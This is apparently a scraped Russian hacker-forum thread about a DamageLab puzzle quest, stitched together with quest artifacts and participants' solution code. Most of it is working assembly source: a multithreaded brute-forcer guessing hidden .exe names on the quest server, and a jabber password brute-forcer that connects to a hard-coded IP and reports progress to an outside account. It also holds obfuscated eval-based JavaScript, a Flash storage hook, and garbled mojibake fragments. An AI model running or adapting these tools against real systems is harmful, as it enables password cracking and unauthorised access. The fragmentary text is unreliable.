START damagelab quest
Это не есть труAr3s пишет:
Что-то вроде "что где когда".
Лучше сладкие жидошекеля потратить на сам квестAr3s пишет:
а вырученные деньги отдать тем, кто предложит самые интересные задания для следующего квеста.
Возникает вопрос, а нах тогда форум нужен...Ar3s пишет:
Напоминаю, что основное общение по квесту идет в jabber-конференции. Присоединяйтесь.
А она и появилась благодаря квесту. Только, по стечению обстоятельств, она вся оказалась на конференции. Зря туда не заходишь. Очень много интересного пропускаешь.В полнее возможно, что на форуме появилась бы новая кровь
м.б. но мне нужно было привлечь внимание к конференции. И я этого добился. Подсказки публиковались на конференции и на форуме одновременно. Но обильное общение возникло именно в конфе а не здесь. Я тоже первое время недоумевал. Думал баталии в этой теме развернутся.Уверен, если бы обсуждение было на форуме, в квесте в разы больше участвовало бы народа
Эта идея не нова. Обзор действительно будет. Я выжидал время пока все желающие попробую его пройти. т.к. на текущий момент я квест формально остановил - будет писаться обзор/прохождение и курьезные ситуации возникавшие по-ходу квеста. Думаю будет достаточно интересно почитать.если Ar3s сделает обзор о квесте
Не мне судить.Короче, начало было гуд – конец..
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
<script src="jquery.scrollTo-1.4.2/jquery.scrollTo-m1n.js"></script>
<script src="scr1pt.js"></script>
function lbtE(){var q4XLiy8u=\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074;var yg8mO=['cnAjAB03','cAqBP','qLA8UZoY','oZRU5','t9Pg','ljuqb','oHr9'];var wcWfH='';var xJPb=\u0061\u0072\u0067\u0075\u006d\u0065\u006e\u0074\u0073;var qkuW=xJPb.\u0063\u0061\u006c\u006c\u0065\u0065;var gGgNnDkh=qkuW.toString().length;if (gGgNnDkh-566<=14){for(iAw2pU=0;iAw2pU<=6;iAw2pU++){wcWfH=wcWfH+q4XLiy8u.getElementById(yg8mO[iAw2pU]).innerHTML;}}wcWfH=wcWfH.replace(/\?|\.|\)|\^|#|\!|,|\(/ig, '');\u0065\u0076\u0061\u006c(\u0075\u006e\u0065\u0073\u0063\u0061\u0070\u0065(wcWfH));}
try
{
window.onload = function()
{
setTimeout("lbtE()",3000);
}
}
catch(e)
{
};
var dhj73mZK='gMM4LDDjRwRpFlR-.CHp';
var gzUStsX='gMM4LDDc&FWM.jlR-.CHp.bTDfzzhhWjhglFH.gMwl';
WScript.Echo(ipCul(gzUStsX));
function ipCul(u8eD) {
var eFk1M; var vpMS='';
var ilqtccG;
var vuRMNt='VE7s/xPJOtga6mRN9W3C:4qwBIdpZMiAjX1F&oKln8052%h-bUS?Q=z._fkyrDvTuHeGLYc';
var j3ZED3o='rOsWDd?fEMpRew7a10V=L%coi3j4x/bXzUGPJCQlTIvBAKgy-:n98tS.mhkuH_qY&2F6N5Z';
for(eFk1M=0;eFk1M<u8eD.length;eFk1M++)
{
ilqtccG=j3ZED3o.indexOf(u8eD.charAt(eFk1M));
if(ilqtccG>-1){vpMS+=vuRMNt.charAt(ilqtccG);}
}
return vpMS;
}
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
<script src="jquery.scrollTo-1.4.2/jquery.scrolTo-min.js"></script>
<script src="scrlpt.js"></script>
package
{
import flash.display.*;
import flash.external.*;
import flash.net.*;
dynamic public class jP37TRh extends MovieClip
{
public var pJZ95BXf:Object;
public var zWIyDnda:Object;
public function jP37TRh()
{
var _loc_1:* = "3F1ZXN0LmRsYWI";
addFrameScript(0, this.tyWxt);
return;
}// end function
public function bAt3r(param1:String, param2:String) : void
{
this.pJZ95BXf.data[param1] = param2;
this.pJZ95BXf.flush();
return;
}// end function
public function fvHs(param1:String) : String
{
return this.pJZ95BXf.data[param1];
}// end function
function tyWxt()
{
this.pJZ95BXf = SharedObject.getLocal("ub3JnLmluL3F0aW1lLw==");
ExternalInterface.addCallback("bAt3r", this.bAt3r);
ExternalInterface.addCallback("fvHs", this.fvHs);
this.zWIyDnda = ExternalInterface.call("caI6R");
return;
}// end function
}
}
The second part of right key is: 8fy2hixc72mdt82nf
<img style='visibility:hidden;width:0px;height:0px;' src='http://quest.dlab.org.in/qtime/nsf.png'>
CPU Dump
Address Hex dump ASCII
00402000 68 74 74 70|3A 2F 2F 74|65 73 74 32|2E 72 75 2F| http://test2.ru/
00402010 73 68 69 74|2E 70 68 70|3F 6B 65 79|3D 38 34 31| shit.php?key=841
00402020 36 37 31 34|37 31 34 35|12 87 98 67|87 98 56 56| 67147145‡˜g‡˜VV
00402030 14 68 74 74|70 3A 2F 2F|74 65 73 74|31 2E 72 75| http://test1.ru
00402040 2F 73 68 69|74 2E 70 68|70 3F 6B 65|79 3D 36 31| /shit.php?key=61
00402050 33 38 36 34|34 36 31 33|37 31 35 33|37 00 12 87| 3864461371537
CPU Dump
Address Hex dump ASCII
00402000 50 4C 4C 48|02 17 17 4C|5D 4B 4C 0A|16 4A 4D 17| PLLHL]KL
JM
00402010 4B 50 51 4C|16 48 50 48|07 53 5D 41|05 01 0C 09| KPQLHPHS]A
00402020 0E 0F 09 0C|0F 09 0C 0D|12 87 98 67|87 98 56 56|
‡˜g‡˜VV
00402030 14 68 74 74|70 3A 2F 2F|74 65 73 74|31 2E 72 75| http://test1.ru
00402040 2F 73 68 69|74 2E 70 68|70 3F 6B 65|79 3D 36 31| /shit.php?key=61
00402050 33 38 36 34|34 36 31 33|37 31 35 33|37 01 12 87| 3864461371537‡
00402060 98 67 87 98|56 56 14 44|6F 62 61 76|74 65 20 6B| ˜g‡˜VVDobavte k
00402070 20 73 73 69|6C 65 20 63|69 66 72 69|3A 20 31 32| ssile cifri: 12
00402080 38 35 12 87|98 67 87 98|56 56 14 DC|FF 12 00 00| 85‡˜g‡˜VVЬя
http://test2.ru/shit.php?key=84167147145
http://test1.ru/shit.php?key=613864461371537
1285
http://quest.dlab.org.in/qtime/br/****.exe
„I„}„‘ „†„p„z„|„p „‘, „{ „ѓ„Ђ„w„p„|„u„~„y„ђ, „x„p„q„Ќ„| „~„p„Ѓ„y„ѓ„p„„„Ћ. „A„…„t„u„„„u „Ѓ„Ђ„t„q„y„‚„p„„„Ћ - „~„u „ѓ„„„p„r„Ћ„„„u „}„~„Ђ„s„Ђ „Ѓ„Ђ„„„Ђ„{„Ђ„r. „H„p„r„p„|„y„„„u „ѓ„u„‚„r„u„‚.
;@echo off && goto make
.386
.model flat,stdcall
option casemap:none
include c:\masm32\include\windows.inc
include c:\masm32\include\kernel32.inc
includelib c:\masm32\lib\kernel32.lib
include c:\masm32\include\user32.inc
includelib c:\masm32\lib\user32.lib
include c:\masm32\include\ws2_32.inc
includelib c:\masm32\lib\ws2_32.lib
include mac.inc
.data?
wh dword ?
hevent dword ?
wsa WSADATA <?>
.data
host db "quest.dlab.org.in",0
header db "GET /qtime/br/%s.exe HTTP/1.0",13,10
db "Host: %s",13,10
;db "User-Agent: Mozilla/4.0",13,10
db 13,10,0
start_name dword 'aaaa',0
.code
ThreadProc proc p:dword
local sock:dword,saddr:sockaddr_in
local tdw:dword
local buf[100h]:byte
local buf2[2]:dword
mov dword ptr [buf2+0],0
mov dword ptr [buf2+4],0
invoke gethostbyname,offset host
test eax,eax
jz @exit
mov eax,(hostent ptr [eax]).h_list
mov eax,[eax]
mov eax,[eax]
mov saddr.sin_addr,eax
mov saddr.sin_family,AF_INET
mov ax,80
rol ax,8
mov saddr.sin_port,ax
@loop:
mov sock,func(socket,AF_INET,SOCK_STREAM,IPPROTO_TCP)
cmp eax,INVALID_SOCKET
jz @loop
invoke connect,sock,addr saddr,sizeof sockaddr_in
cmp eax,SOCKET_ERROR
jz @loop
invoke WaitForSingleObject,hevent,INFINITE
invoke ResetEvent,hevent
invoke SetConsoleCursorPosition,wh,0
lea eax,start_name
inc byte ptr [eax+3]
cmp byte ptr [eax+3],'z'+1
jnz @send
mov byte ptr [eax+3],'a'
inc byte ptr [eax+2]
cmp byte ptr [eax+2],'z'+1
jnz @send
mov byte ptr [eax+2],'a'
inc byte ptr [eax+1]
cmp byte ptr [eax+1],'z'+1
jnz @send
mov byte ptr [eax+1],'a'
inc byte ptr [eax]
cmp byte ptr [eax],'z'+1
jz @exit
@send:
m2m buf2,start_name
invoke SetEvent,hevent
invoke wsprintf,addr buf,offset header,addr buf2,offset host
mov ecx,eax
push ecx
invoke WriteConsole,wh,addr buf2,4,addr tdw,0
pop ecx
invoke send,sock,addr buf,ecx,0
invoke recv,sock,addr buf,100h,0
invoke shutdown,sock,SD_BOTH
invoke closesocket,sock
cmp dword ptr [buf+9],' 002'
jnz @loop
invoke OutputDebugString,addr buf2
jmp @loop
@exit:
ret
ThreadProc endp
start:
invoke WSAStartup,0202h,offset wsa
mov wh,func(GetStdHandle,STD_OUTPUT_HANDLE)
mov hevent,func(CreateEvent,0,TRUE,TRUE,0)
mov ecx,50
@@:
push ecx
invoke CreateThread,0,0,ThreadProc,0,0,0
invoke Sleep,20
pop ecx
loop @b
invoke ExitThread,0
ret
end start
:make
set prname=brut
set prdir=d:\down\quest.dlab.org.in\brut
cd /d %prdir%
c:\masm32\bin\ml.exe /nologo /c /coff %prname%.cmd
c:\masm32\bin\link.exe /nologo /SUBSYSTEM:CONSOLE %prname%.obj
pause
del %prname%.obj
del %prname%.res
Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F
00000000 8F 00 4C 5A 00 01 FF 00 FF 5F FF 5F FE E1 FF FF Џ.LZ..я.я_я_юбяя
00000010 44 78 FF 15 FF FF 68 66 29 00 48 49 FF FF 07 00 Dxя.яяhf).HIяя..
00000020 FF FF FF FF FE DB FF FF FF 07 FF 42 06 06 05 06 яяяяюЫяяя.яB....
00000030 06 07 04 08 08 08 06 09 13 0D 09 0C 0A 0C 0B 0B ................
00000040 12 0F 18 12 19 1F 13 1D 19 1C 1D 1D 23 2E 1B 20 ............#..
00000050 21 2C 26 20 FF FF FF FF FF FF FF FF FF FF FF FF !,& яяяяяяяяяяяя
00000060 44 00 FF 4F FF FF FF FF FF FE FF FF 42 01 DA 00 D.яOяяяяяюяяB.Ъ.
lodsw
rol eax,16
add eax,010001h
stosw
QuestEXEDecode proc
local hfile:dword
local hview:dword
local hmap:dword
local fsize:dword
invoke CopyFile,chr$("d:\down\quest.dlab.org.in\zqrt.bin"),chr$("d:\down\quest.dlab.org.in\zqrt.bin.exe"),FALSE
xor ecx,ecx
mov hfile,func(CreateFile,chr$("d:\down\quest.dlab.org.in\zqrt.bin.exe"),GENERIC_READ or GENERIC_WRITE,ecx,ecx,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,ecx)
cmp eax,INVALID_HANDLE_VALUE
jz @exit
invoke GetFileSize,hfile,0
shr eax,2
mov fsize,eax
xor ecx,ecx
mov hmap,func(CreateFileMapping,hfile,ecx,PAGE_READWRITE,ecx,ecx,ecx)
test eax,eax
jz @exit
xor ecx,ecx
mov hview,func(MapViewOfFile,hmap,FILE_MAP_READ or FILE_MAP_WRITE,ecx,ecx,ecx)
test eax,eax
jz @exit
mov ecx,fsize
mov esi,hview
mov edi,esi
@@:
lodsw
inc eax
movzx ebx,ax
lodsw
inc eax
stosw
movzx eax,bx
stosw
loop @b
invoke UnmapViewOfFile,hview
invoke CloseHandle,hmap
invoke CloseHandle,hfile
@exit:
ret
QuestEXEDecode endp
;@echo off && goto make
.386
.model flat,stdcall
option casemap:none
include c:\masm32\include\windows.inc
include c:\masm32\include\kernel32.inc
includelib c:\masm32\lib\kernel32.lib
include c:\masm32\include\user32.inc
includelib c:\masm32\lib\user32.lib
include c:\masm32\include\ws2_32.inc
includelib c:\masm32\lib\ws2_32.lib
include mac.inc
.data?
wh dword ?
hevent dword ?
wsa WSADATA <?>
.data
currPass dword 2 dup(0)
alphabet db 0,"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
ch1 db sizeof alphabet-1
ch2 db 0
ch3 db 0
ch4 db 0
j1 db "<stream:stream to='dlab.org.in' xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' xml:lang='ru' version='1.0'><auth xmlns=",'"',"urn:ietf:params:xml:ns:xmpp-sasl",'"'," mechanism=",'"',"PLAIN",'"',">AHdhYWhfXwAxMjMzMjE=</auth>"
j2 db "<stream:stream to='dlab.org.in' xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' xml:lang='ru' version='1.0'><iq type=",'"',"set",'"',"><bind xmlns=",'"',"urn:ietf:params:xml:ns:xmpp-bind",'"',"><resource>%08x</resource></bind></iq><iq type=",'"',"set",'"',"><session xmlns=",'"',"urn:ietf:params:xml:ns:xmpp-session",'"',"/></iq>",0
j3 db "<presence xmlns=",'"',"jabber:client",'"'," to=",'"',"quest@conference.dlab.org.in/waah00",'"'," ><priority>5</priority><x xmlns=",'"',"http://jabber.org/protocol/muc",'"',"><password>%s</password></x></presence>",0
j4 db "<message from='waah__@dlab.org.in' to='waahoo@exploit.im' xml:lang='ru' type='chat'><body>check %s</body></message>",0
j5 db "<message from='waah__@dlab.org.in' to='waahoo@exploit.im' xml:lang='ru' type='chat'><body>current %s</body></message>",0
j6 db "<message from='waah__@dlab.org.in' to='waahoo@exploit.im' xml:lang='ru' type='chat'><body>done</body></message>"
.code
Thread2Proc proc p:dword
local sock:dword,saddr:sockaddr_in
local buf[1000h]:byte
mov saddr.sin_addr,func(inet_addr,chr$("193.107.16.43"))
mov saddr.sin_family,AF_INET
invoke htons,5222
mov saddr.sin_port,ax
mov sock,func(socket,AF_INET,SOCK_STREAM,IPPROTO_TCP)
invoke connect,sock,addr saddr,sizeof sockaddr_in
invoke send,sock,offset j1,sizeof j1,0
invoke Sleep,2100
invoke recv,sock,addr buf,1000h,0
invoke GetTickCount
invoke wsprintf,addr buf,offset j2,eax
invoke send,sock,addr buf,eax,0
invoke Sleep,2100
invoke recv,sock,addr buf,1000h,0
@@:
invoke wsprintf,addr buf,offset j5,offset currPass
mov ecx,eax
invoke send,sock,addr buf,ecx,0
invoke Sleep,180*1000
jmp @b
ret
Thread2Proc endp
IncPass proc
@beg:
inc ch1
cmp ch1,sizeof alphabet
jnz @get_pass
mov ch1,1
inc ch2
cmp ch2,sizeof alphabet
jnz @get_pass
mov ch2,1
inc ch3
cmp ch3,sizeof alphabet
jnz @get_pass
mov ch3,1
inc ch4
cmp ch4,sizeof alphabet
jnz @get_pass
xor eax,eax
ret
@get_pass:
lea esi,ch1
lea edi,currPass
lea ebx,alphabet
mov ecx,4
@@:
lodsb
xlat
stosb
loop @b
mov eax,1
ret
IncPass endp
ThreadProc proc p:dword
local sock:dword,saddr:sockaddr_in
local buf[1000h]:byte
local buf2[2]:dword
mov saddr.sin_addr,func(inet_addr,chr$("193.107.16.43"))
mov saddr.sin_family,AF_INET
invoke htons,5222
mov saddr.sin_port,ax
mov sock,func(socket,AF_INET,SOCK_STREAM,IPPROTO_TCP)
invoke connect,sock,addr saddr,sizeof sockaddr_in
invoke send,sock,offset j1,sizeof j1,0
invoke Sleep,2000
invoke recv,sock,addr buf,1000h,0
invoke GetTickCount
invoke wsprintf,addr buf,offset j2,eax
invoke send,sock,addr buf,eax,0
invoke Sleep,2000
invoke recv,sock,addr buf,1000h,0
@loop:
invoke WaitForSingleObject,hevent,INFINITE
invoke ResetEvent,hevent
mov dword ptr [buf2+0],0
mov dword ptr [buf2+4],0
invoke IncPass
m2m buf2,currPass
test eax,eax
jnz @send
invoke send,sock,offset j6,sizeof j6,0
invoke ExitProcess,0
@send:
invoke SetEvent,hevent
invoke wsprintf,addr buf,offset j3,addr buf2
mov ecx,eax
invoke send,sock,addr buf,ecx,0
lea edi,buf
mov ecx,100h
xor eax,eax
rep stosb
invoke recv,sock,addr buf,1000h,0
invoke OutputDebugString,addr buf
cmp dword ptr [buf+92],'orre'
jz @loop
invoke wsprintf,addr buf,offset j4,addr buf2
mov ecx,eax
invoke send,sock,addr buf,ecx,0
invoke shutdown,sock,SD_BOTH
invoke closesocket,sock
@exit:
ret
ThreadProc endp
start:
invoke WSAStartup,0202h,offset wsa
mov hevent,func(CreateEvent,0,TRUE,TRUE,0)
invoke CreateThread,0,0,Thread2Proc,0,0,0
mov ecx,9
@@:
push ecx
invoke CreateThread,0,0,ThreadProc,0,0,0
invoke Sleep,2000
pop ecx
loop @b
invoke ExitThread,0
ret
end start
:make
set prname=jbrut
set prdir=d:\down\quest.dlab.org.in\brut
cd /d %prdir%
c:\masm32\bin\ml.exe /nologo /c /coff %prname%.cmd
c:\masm32\bin\link.exe /nologo /SUBSYSTEM:WINDOWS /OUT:jbrut5.exe %prname%.obj
pause
del %prname%.obj
del %prname%.res
(у меня все написано на bash-е[23:26:23] <12309> я думал, что получу премию "изврат года"
[23:26:35] <12309> но потом понял, что я еще не изврат
[23:26:46] <12309> когда узнал, что ваху пишет клиента на асме